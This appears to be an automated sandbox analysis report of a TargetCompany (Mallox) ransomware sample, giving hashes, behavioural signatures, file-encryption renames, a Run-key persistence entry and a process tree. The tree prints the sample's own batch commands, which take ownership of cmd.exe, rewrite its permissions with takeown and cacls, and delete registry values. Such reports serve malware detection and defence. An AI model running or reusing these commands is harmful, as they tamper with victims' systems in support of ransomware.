Resubmissions
04-10-2022 20:15
221004-y1y84acfap 1004-10-2022 18:07
221004-wqfynacagq 104-10-2022 17:17
221004-vtrc5abfc8 10Analysis
-
max time kernel
259s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
04-10-2022 20:15
Static task
static1
Behavioral task
behavioral1
Sample
1DB0F1BC49327D3FD4527A2C58F63AAA.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1DB0F1BC49327D3FD4527A2C58F63AAA.exe
Resource
win10v2004-20220812-en
General
-
Target
1DB0F1BC49327D3FD4527A2C58F63AAA.exe
-
Size
10KB
-
MD5
1db0f1bc49327d3fd4527a2c58f63aaa
-
SHA1
4cc6ec7675e87c6a95ecd4625ccb5f7b156d6e28
-
SHA256
2497c19fc0d51f7e9150792e207ff173ab33c7041a1bbd930bac2815e7fada84
-
SHA512
5733576873c19de5b2d770a4423f2f4cd8e8408418e94a13c3df0b9fb8a51972e72d8cef35ff7ce940c917132285b98a656dd8b7bcf14c90354c74fb588f3c32
-
SSDEEP
192:pPCXxU4TtXGp7m2gSQ2LX/tFKkiKG0Rt0UEoLLCoNzpkpWvnWi:pP+U4TAp7jgSlLX/tFBfGE9zmWvnW
Malware Config
Extracted
C:\$Recycle.Bin\S-1-5-21-999675638-2867687379-27515722-1000\RECOVERY FILES.txt
https://twitter.com/mallox_leaks
Signatures
-
TargetCompany
Ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
-
TargetCompany payload 9 IoCs
resource yara_rule behavioral1/memory/652-98-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-99-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-100-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-102-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-104-0x0000000000408D36-mapping.dmp family_targetcompany behavioral1/memory/652-108-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-130-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-138-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany behavioral1/memory/652-139-0x0000000000400000-0x000000000042F000-memory.dmp family_targetcompany -
Clears Windows event logs 1 TTPs 64 IoCs
pid Process 2560 Process not Found 2312 Process not Found 2192 Process not Found 1408 Process not Found 1216 Process not Found 1700 Process not Found 1760 Process not Found 2348 Process not Found 1768 Process not Found 2804 Process not Found 3008 Process not Found 976 Process not Found 616 Process not Found 1792 Process not Found 220 Process not Found 824 Process not Found 1448 Process not Found 2628 Process not Found 2612 Process not Found 608 Process not Found 2144 wevtutil.exe 1216 Process not Found 2484 Process not Found 1200 Process not Found 2748 Process not Found 2228 Process not Found 2272 Process not Found 2356 Process not Found 2680 Process not Found 1948 Process not Found 1936 Process not Found 2008 Process not Found 1068 Process not Found 2884 Process not Found 1340 Process not Found 2596 Process not Found 2584 Process not Found 1120 Process not Found 1620 Process not Found 2600 Process not Found 2580 Process not Found 216 Process not Found 1772 Process not Found 2736 Process not Found 796 Process not Found 2756 Process not Found 2452 Process not Found 2664 Process not Found 2520 wevtutil.exe 2520 wevtutil.exe 108 Process not Found 3040 wevtutil.exe 2128 Process not Found 516 Process not Found 2904 Process not Found 3012 Process not Found 2692 Process not Found 220 Process not Found 2304 Process not Found 2640 wevtutil.exe 2532 Process not Found 2832 Process not Found 1448 Process not Found 2912 Process not Found -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\TestHide.tiff aspnet_compiler.exe File renamed C:\Users\Admin\Pictures\TestHide.tiff => C:\Users\Admin\Pictures\TestHide.tiff.FARGO3 aspnet_compiler.exe File renamed C:\Users\Admin\Pictures\TestReceive.crw => C:\Users\Admin\Pictures\TestReceive.crw.FARGO3 aspnet_compiler.exe File renamed C:\Users\Admin\Pictures\MoveStart.crw => C:\Users\Admin\Pictures\MoveStart.crw.FARGO3 aspnet_compiler.exe File renamed C:\Users\Admin\Pictures\PopSave.tif => C:\Users\Admin\Pictures\PopSave.tif.FARGO3 aspnet_compiler.exe File renamed C:\Users\Admin\Pictures\PushConnect.tif => C:\Users\Admin\Pictures\PushConnect.tif.FARGO3 aspnet_compiler.exe -
Stops running service(s) 3 TTPs
-
Modifies file permissions 1 TTPs 18 IoCs
pid Process 1448 takeown.exe 1932 takeown.exe 1448 takeown.exe 1448 takeown.exe 1704 takeown.exe 856 takeown.exe 1684 takeown.exe 1124 takeown.exe 1540 takeown.exe 108 takeown.exe 948 takeown.exe 1448 takeown.exe 1216 takeown.exe 1580 takeown.exe 1580 takeown.exe 548 takeown.exe 1500 takeown.exe 1612 takeown.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Gjcyxvcg = "\"C:\\Users\\Admin\\AppData\\Roaming\\Lznfgidcl\\Gjcyxvcg.exe\"" 1DB0F1BC49327D3FD4527A2C58F63AAA.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: aspnet_compiler.exe File opened (read-only) \??\R: aspnet_compiler.exe File opened (read-only) \??\X: aspnet_compiler.exe File opened (read-only) \??\Y: aspnet_compiler.exe File opened (read-only) \??\Z: aspnet_compiler.exe File opened (read-only) \??\J: aspnet_compiler.exe File opened (read-only) \??\M: aspnet_compiler.exe File opened (read-only) \??\O: aspnet_compiler.exe File opened (read-only) \??\P: aspnet_compiler.exe File opened (read-only) \??\F: aspnet_compiler.exe File opened (read-only) \??\H: aspnet_compiler.exe File opened (read-only) \??\L: aspnet_compiler.exe File opened (read-only) \??\N: aspnet_compiler.exe File opened (read-only) \??\Q: aspnet_compiler.exe File opened (read-only) \??\W: aspnet_compiler.exe File opened (read-only) \??\T: aspnet_compiler.exe File opened (read-only) \??\U: aspnet_compiler.exe File opened (read-only) \??\A: aspnet_compiler.exe File opened (read-only) \??\B: aspnet_compiler.exe File opened (read-only) \??\E: aspnet_compiler.exe File opened (read-only) \??\I: aspnet_compiler.exe File opened (read-only) \??\K: aspnet_compiler.exe File opened (read-only) \??\S: aspnet_compiler.exe File opened (read-only) \??\V: aspnet_compiler.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1408 set thread context of 652 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe 47 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02464_.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GROOVE_F_COL.HXK aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfo.zip aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar aspnet_compiler.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\es-ES\Mahjong.exe.mui aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00602_.WMF aspnet_compiler.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\RECOVERY FILES.txt aspnet_compiler.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\MANIFEST.MF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY00560_.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\mspub.exe.manifest aspnet_compiler.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_SelectionSubpicture.png aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-progress-ui.xml aspnet_compiler.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages.properties aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0251007.WMF aspnet_compiler.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\ja-JP\Mahjong.exe.mui aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107458.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0215076.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CONTACTINFOBB.POC aspnet_compiler.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToNotesBackground_PAL.wmv aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\about.html aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE00898_.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107544.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02958_.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\FiveRules.potx aspnet_compiler.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_SelectionSubpicture.png aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_zh_CN.jar aspnet_compiler.exe File opened for modification C:\Program Files\VideoLAN\VLC\VideoLAN Website.url aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099199.GIF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00330_.WMF aspnet_compiler.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kk\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_ja.jar aspnet_compiler.exe File opened for modification C:\Program Files\Microsoft Games\Multiplayer\Backgammon\de-DE\bckgzm.exe.mui aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EAST_01.MID aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105280.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341634.JPG aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Median.thmx aspnet_compiler.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfoInternal.zip aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_ja.jar aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler.xml aspnet_compiler.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gu\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7 aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Executive.thmx aspnet_compiler.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\VideoLAN\VLC\AUTHORS.txt aspnet_compiler.exe File opened for modification C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color120.jpg aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\RECOVERY FILES.txt aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-util-enumerations.xml aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange.css aspnet_compiler.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dili aspnet_compiler.exe File opened for modification C:\Program Files\Windows Media Player\Media Renderer\RenderingControl.xml aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02448_.WMF aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02845G.GIF aspnet_compiler.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Gambier aspnet_compiler.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Honolulu aspnet_compiler.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\it-IT\SpiderSolitaire.exe.mui aspnet_compiler.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00174_.WMF aspnet_compiler.exe -
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3036 sc.exe 2576 Process not Found 1520 sc.exe 1504 sc.exe 2932 sc.exe 552 sc.exe 2972 sc.exe 1088 sc.exe 2564 sc.exe 2612 sc.exe 1660 sc.exe 1524 sc.exe 788 sc.exe 2028 sc.exe 1800 sc.exe 3008 sc.exe 2820 Process not Found 856 sc.exe 1728 sc.exe 2720 sc.exe 3040 sc.exe 1656 sc.exe 1068 Process not Found 1540 sc.exe 744 sc.exe 1056 sc.exe 2180 sc.exe 2556 sc.exe 896 sc.exe 2980 sc.exe 1656 sc.exe 904 sc.exe 1980 sc.exe 2772 sc.exe 2108 sc.exe 824 sc.exe 1684 sc.exe 900 sc.exe 1556 sc.exe 1784 Process not Found 2872 Process not Found 2448 Process not Found 3044 Process not Found 764 sc.exe 1800 sc.exe 2876 sc.exe 2820 sc.exe 2656 Process not Found 2780 Process not Found 2596 sc.exe 2284 sc.exe 2064 sc.exe 2660 sc.exe 2936 sc.exe 2900 sc.exe 1808 sc.exe 616 sc.exe 1844 sc.exe 1176 sc.exe 1056 sc.exe 940 sc.exe 2972 sc.exe 2544 Process not Found 1612 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
pid Process 2076 net.exe 2800 net.exe -
Enumerates processes with tasklist 1 TTPs 6 IoCs
pid Process 1124 tasklist.exe 1540 tasklist.exe 784 tasklist.exe 1800 tasklist.exe 900 tasklist.exe 1524 tasklist.exe -
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1936 vssadmin.exe 1580 vssadmin.exe -
Kills process with taskkill 64 IoCs
pid Process 3008 Process not Found 1536 Process not Found 1504 Process not Found 1692 Process not Found 2756 Process not Found 2476 Process not Found 2328 Process not Found 2632 Process not Found 1448 taskkill.exe 1524 taskkill.exe 2176 taskkill.exe 2480 Process not Found 2944 Process not Found 2980 Process not Found 2928 Process not Found 2756 Process not Found 1696 taskkill.exe 2996 taskkill.exe 2384 Process not Found 2824 Process not Found 2176 taskkill.exe 2564 Process not Found 2100 Process not Found 2600 Process not Found 2972 Process not Found 2692 Process not Found 2860 Process not Found 996 Process not Found 2724 taskkill.exe 2880 taskkill.exe 3064 Process not Found 2964 Process not Found 2648 Process not Found 1616 Process not Found 2944 Process not Found 1760 Process not Found 2928 Process not Found 1760 Process not Found 1692 Process not Found 1800 taskkill.exe 2588 taskkill.exe 2920 Process not Found 2768 Process not Found 2576 Process not Found 2128 taskkill.exe 2832 Process not Found 2812 Process not Found 2652 Process not Found 1516 Process not Found 2868 taskkill.exe 1536 taskkill.exe 3040 Process not Found 1932 Process not Found 2836 Process not Found 2904 Process not Found 1852 taskkill.exe 2760 Process not Found 1380 Process not Found 1192 Process not Found 2856 Process not Found 2300 taskkill.exe 2512 Process not Found 2636 Process not Found 2632 Process not Found -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 652 aspnet_compiler.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe Token: SeTakeOwnershipPrivilege 1448 takeown.exe Token: SeTakeOwnershipPrivilege 1448 takeown.exe Token: SeTakeOwnershipPrivilege 652 aspnet_compiler.exe Token: SeDebugPrivilege 652 aspnet_compiler.exe Token: SeBackupPrivilege 1636 vssvc.exe Token: SeRestorePrivilege 1636 vssvc.exe Token: SeAuditPrivilege 1636 vssvc.exe Token: SeTakeOwnershipPrivilege 1448 takeown.exe Token: SeTakeOwnershipPrivilege 1580 takeown.exe Token: SeTakeOwnershipPrivilege 1580 takeown.exe Token: SeTakeOwnershipPrivilege 1704 takeown.exe Token: SeTakeOwnershipPrivilege 1500 takeown.exe Token: SeTakeOwnershipPrivilege 948 takeown.exe Token: SeDebugPrivilege 1852 taskkill.exe Token: SeDebugPrivilege 844 taskkill.exe Token: SeDebugPrivilege 1208 taskkill.exe Token: SeDebugPrivilege 1784 taskkill.exe Token: SeDebugPrivilege 1760 taskkill.exe Token: SeDebugPrivilege 1516 taskkill.exe Token: SeDebugPrivilege 1772 taskkill.exe Token: SeDebugPrivilege 1448 taskkill.exe Token: SeDebugPrivilege 1860 taskkill.exe Token: SeDebugPrivilege 1280 taskkill.exe Token: SeDebugPrivilege 956 taskkill.exe Token: SeDebugPrivilege 1848 taskkill.exe Token: SeDebugPrivilege 556 taskkill.exe Token: SeDebugPrivilege 1464 taskkill.exe Token: SeDebugPrivilege 1344 taskkill.exe Token: SeDebugPrivilege 1580 taskkill.exe Token: SeDebugPrivilege 1808 taskkill.exe Token: SeDebugPrivilege 1456 taskkill.exe Token: SeDebugPrivilege 1696 taskkill.exe Token: SeDebugPrivilege 1844 taskkill.exe Token: SeDebugPrivilege 1800 taskkill.exe Token: SeDebugPrivilege 900 taskkill.exe Token: SeDebugPrivilege 1860 taskkill.exe Token: SeDebugPrivilege 1524 taskkill.exe Token: SeDebugPrivilege 1124 taskkill.exe Token: SeDebugPrivilege 616 taskkill.exe Token: SeDebugPrivilege 1800 tasklist.exe Token: SeDebugPrivilege 900 tasklist.exe Token: SeDebugPrivilege 1524 tasklist.exe Token: SeDebugPrivilege 1124 tasklist.exe Token: SeDebugPrivilege 1540 tasklist.exe Token: SeDebugPrivilege 784 tasklist.exe Token: SeSecurityPrivilege 856 wevtutil.exe Token: SeBackupPrivilege 856 wevtutil.exe Token: SeSecurityPrivilege 2136 wevtutil.exe Token: SeBackupPrivilege 2136 wevtutil.exe Token: SeDebugPrivilege 1848 taskkill.exe Token: SeDebugPrivilege 1464 taskkill.exe Token: SeDebugPrivilege 1784 taskkill.exe Token: SeDebugPrivilege 1124 taskkill.exe Token: SeDebugPrivilege 1068 taskkill.exe Token: SeSecurityPrivilege 2520 wevtutil.exe Token: SeBackupPrivilege 2520 wevtutil.exe Token: SeDebugPrivilege 2532 taskkill.exe Token: SeDebugPrivilege 2548 taskkill.exe Token: SeDebugPrivilege 2556 taskkill.exe Token: SeDebugPrivilege 2572 taskkill.exe Token: SeDebugPrivilege 2588 taskkill.exe Token: SeSecurityPrivilege 2732 wevtutil.exe Token: SeBackupPrivilege 2732 wevtutil.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1408 wrote to memory of 1632 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe 26 PID 1408 wrote to memory of 1632 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe 26 PID 1408 wrote to memory of 1632 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe 26 PID 1408 wrote to memory of 1632 1408 1DB0F1BC49327D3FD4527A2C58F63AAA.exe 26 PID 1632 wrote to memory of 1704 1632 cmd.exe 28 PID 1632 wrote to memory of 1704 1632 cmd.exe 28 PID 1632 wrote to memory of 1704 1632 cmd.exe 28 PID 1632 wrote to memory of 1704 1632 cmd.exe 28 PID 1632 wrote to memory of 1448 1632 cmd.exe 29 PID 1632 wrote to memory of 1448 1632 cmd.exe 29 PID 1632 wrote to memory of 1448 1632 cmd.exe 29 PID 1632 wrote to memory of 1448 1632 cmd.exe 29 PID 1632 wrote to memory of 1120 1632 cmd.exe 30 PID 1632 wrote to memory of 1120 1632 cmd.exe 30 PID 1632 wrote to memory of 1120 1632 cmd.exe 30 PID 1632 wrote to memory of 1120 1632 cmd.exe 30 PID 1632 wrote to memory of 1796 1632 cmd.exe 31 PID 1632 wrote to memory of 1796 1632 cmd.exe 31 PID 1632 wrote to memory of 1796 1632 cmd.exe 31 PID 1632 wrote to memory of 1796 1632 cmd.exe 31 PID 1632 wrote to memory of 1792 1632 cmd.exe 32 PID 1632 wrote to memory of 1792 1632 cmd.exe 32 PID 1632 wrote to memory of 1792 1632 cmd.exe 32 PID 1632 wrote to memory of 1792 1632 cmd.exe 32 PID 1632 wrote to memory of 552 1632 cmd.exe 33 PID 1632 wrote to memory of 552 1632 cmd.exe 33 PID 1632 wrote to memory of 552 1632 cmd.exe 33 PID 1632 wrote to memory of 552 1632 cmd.exe 33 PID 1632 wrote to memory of 616 1632 cmd.exe 34 PID 1632 wrote to memory of 616 1632 cmd.exe 34 PID 1632 wrote to memory of 616 1632 cmd.exe 34 PID 1632 wrote to memory of 616 1632 cmd.exe 34 PID 1632 wrote to memory of 816 1632 cmd.exe 35 PID 1632 wrote to memory of 816 1632 cmd.exe 35 PID 1632 wrote to memory of 816 1632 cmd.exe 35 PID 1632 wrote to memory of 816 1632 cmd.exe 35 PID 1632 wrote to memory of 1044 1632 cmd.exe 36 PID 1632 wrote to memory of 1044 1632 cmd.exe 36 PID 1632 wrote to memory of 1044 1632 cmd.exe 36 PID 1632 wrote to memory of 1044 1632 cmd.exe 36 PID 1632 wrote to memory of 1076 1632 cmd.exe 37 PID 1632 wrote to memory of 1076 1632 cmd.exe 37 PID 1632 wrote to memory of 1076 1632 cmd.exe 37 PID 1632 wrote to memory of 1076 1632 cmd.exe 37 PID 1632 wrote to memory of 1740 1632 cmd.exe 38 PID 1632 wrote to memory of 1740 1632 cmd.exe 38 PID 1632 wrote to memory of 1740 1632 cmd.exe 38 PID 1632 wrote to memory of 1740 1632 cmd.exe 38 PID 1632 wrote to memory of 1844 1632 cmd.exe 39 PID 1632 wrote to memory of 1844 1632 cmd.exe 39 PID 1632 wrote to memory of 1844 1632 cmd.exe 39 PID 1632 wrote to memory of 1844 1632 cmd.exe 39 PID 1632 wrote to memory of 516 1632 cmd.exe 40 PID 1632 wrote to memory of 516 1632 cmd.exe 40 PID 1632 wrote to memory of 516 1632 cmd.exe 40 PID 1632 wrote to memory of 516 1632 cmd.exe 40 PID 1632 wrote to memory of 988 1632 cmd.exe 41 PID 1632 wrote to memory of 988 1632 cmd.exe 41 PID 1632 wrote to memory of 988 1632 cmd.exe 41 PID 1632 wrote to memory of 988 1632 cmd.exe 41 PID 1632 wrote to memory of 1192 1632 cmd.exe 42 PID 1632 wrote to memory of 1192 1632 cmd.exe 42 PID 1632 wrote to memory of 1192 1632 cmd.exe 42 PID 1632 wrote to memory of 1192 1632 cmd.exe 42
Processes
-
C:\Users\Admin\AppData\Local\Temp\1DB0F1BC49327D3FD4527A2C58F63AAA.exe"C:\Users\Admin\AppData\Local\Temp\1DB0F1BC49327D3FD4527A2C58F63AAA.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\Ipwxaakoidjaugulptjnbcgkill$-arab.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f3⤵PID:1704
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\system32\cmd.exe /a3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1120
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /g Administrators:f3⤵PID:1796
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1792
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Users:r3⤵PID:552
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:616
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g Administrators:r3⤵PID:816
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1044
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d SERVICE3⤵PID:1076
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1740
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssqlserver3⤵PID:1844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:516
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d "network service"3⤵PID:988
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1192
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /g system:r3⤵PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress3⤵PID:1728
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\SysWOW64\cmd.exe /a3⤵
- Modifies file permissions
PID:1932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:288
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f3⤵PID:1260
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1440
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r3⤵PID:948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1560
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r3⤵PID:1848
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1436
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE3⤵PID:1664
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1660
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver3⤵PID:1708
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1204
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"3⤵PID:1344
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1604
-
-
